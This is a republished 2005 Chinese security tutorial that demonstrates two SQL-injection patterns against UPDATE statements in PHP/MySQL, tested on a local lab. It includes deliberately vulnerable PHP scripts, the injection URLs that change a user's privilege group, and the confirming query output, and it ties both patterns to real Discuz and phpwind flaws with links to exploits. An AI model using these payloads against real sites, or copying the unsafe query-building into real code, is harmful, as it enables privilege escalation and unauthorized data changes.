UPDATE注射(mysql+php)的兩個模式
2021-01-23 7:48:35424
UPDATE注射(mysql+php)的兩個模式
文/安全天使·SuperHei2005.8.11
一.測試環境:
OS:Windowsxpsp2
php:php4.3.10(
mysql4.1.9
apache1.3.33
二.測試數據庫結構:
-----start---
--數據庫:`test`
--
----------------------------------------------------------
--
--表的結構`userinfo`
--
CREATETABLE`userinfo`(
`groudid`varchar(12)NOTNULLdefault'1',
`user`varchar(12)NOTNULLdefault'heige',
`pass`varchar(122)NOTNULLdefault'123456'
)ENGINE=MyISAMDEFAULTCHARSET=latin1;
--
--導出表中的數據`userinfo`
--
INSERTINTO`userinfo`VALUES('2','heige','123456');
------end-------
三.測試模式:
1,變量沒有帶''或""[MOD1]
//test1.phpMod1
$servername="localhost";
$dbusername="root";
$dbpassword="";
$dbname="test";
mysql_connect($servername,$dbusername,$dbpassword)ordie("數據庫連接失敗");
$sql="updateuserinfosetpass=$pwhereuser='heige'";//
$result=mysql_db_query($dbname,$sql);
$userinfo=mysql_fetch_array($result);
echo"
SQLQuery:$sql
";
?>
腳本里只是修改user='heige'的pass,如果groudid表示用戶的權限等級,我們的目的就是通過構造$p來達
到修改groupid的目的:
那么我們提交:http://127.0.0.1/test1.php?p=123456,groudid=1
在mysql里查詢:
mysql>select*fromuserinfo;
+---------+-------+--------+
|groudid|user|pass|
+---------+-------+--------+
|1|heige|123456|
+---------+-------+--------+
1rowinset(0.01sec)
用戶heige的groudid又2改為1了:)
所以我們可以得到沒有''或""update的注射是可以成功的,這個就是我們的模式1。
2,變量帶''或""[MOD2]
//test2.php
$servername="localhost";
$dbusername="root";
$dbpassword="";
$dbname="test";
mysql_connect($servername,$dbusername,$dbpassword)ordie("數據庫連接失敗");
$sql="updateuserinfosetpass='$p'whereuser='heige'";//
$result=mysql_db_query($dbname,$sql);
$userinfo=mysql_fetch_array($result);
echo"
SQLQuery:$sql
";
?>
為了關閉'我們構造$p應該為123456',groudid='2提交:
http://127.0.0.1/test2.php?p=123456',groudid='1在gpc=on的情況下'變成了\'
提交的語句變成:SQLQuery:updateuserinfosetpass='123456\',groudid=\'1'whereuser='heige'
mysql查詢:
mysql>select*fromuserinfo;
+---------+-------+--------------------+
|groudid|user|pass|
+---------+-------+--------------------+
|2|heige|123456',groudid='1|
+---------+-------+--------------------+
1rowinset(0.00sec)
groudid并沒有被修改。那么在變量被''或""時就完全沒有被注射呢?不是下面我們看模式2:
//test3.phpMod2
$servername="localhost";
$dbusername="root";
$dbpassword="";
$dbname="test";
mysql_connect($servername,$dbusername,$dbpassword)ordie("數據庫連接失敗");
$sql="updateuserinfosetpass='$p'whereuser='heige'";//
$result=mysql_db_query($dbname,$sql);
mysql_fetch_array($result);//$p的數據寫入數據庫
$sql="selectpassfromuserinfowhereuser='heige'";
$result=mysql_db_query($dbname,$sql);
$userinfo=mysql_fetch_array($result);
echo$userinfo[0];//把pass查詢輸出給$userinfo[0]
$sql="updateuserinfosetpass='$userinfo[0]'whereuser='heige'";
$result=mysql_db_query($dbname,$sql);
mysql_fetch_array($result);//把$userinfo[0]再次update
?>
我們測試下,提交:http://127.0.0.1/test3.php?p=123456',groudid='1
回mysql查詢下:
mysql>select*fromuserinfo;
+---------+-------+--------+
|groudid|user|pass|
+---------+-------+--------+
|1|heige|123456|
+---------+-------+--------+
1rowinset(0.00sec)
HaHa~~成功注射修改groudid為1。這個就是我們的模式2了,簡單的描敘如下:
update-->select-->update
四.實際模式
模式1:Discuz2.0/2.2register.php注射
漏洞分析:http://4ngel.net/article/41.htm
Discuz2.0/2.2register.phpRemoteExploit:http://4ngel.net/project/discuz_reg.htm
模式2:phpwind2.0.2和3.31e權限提升漏洞
漏洞分析:
update(profile.php注射變量為$proiconupdate語句里為,icon='$userdb[icon]')
v
select(jop.php)
v
updtate(jop.php)
Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe
五.鳴謝
特別感謝saiy等朋友的討論和幫助。Thanks!!!
點擊這里復制本文地址
以上內容由聚米學院網友整理呈現,如對侵犯您的權益,請聯系郵箱:fzsbm@qq.com
留言評論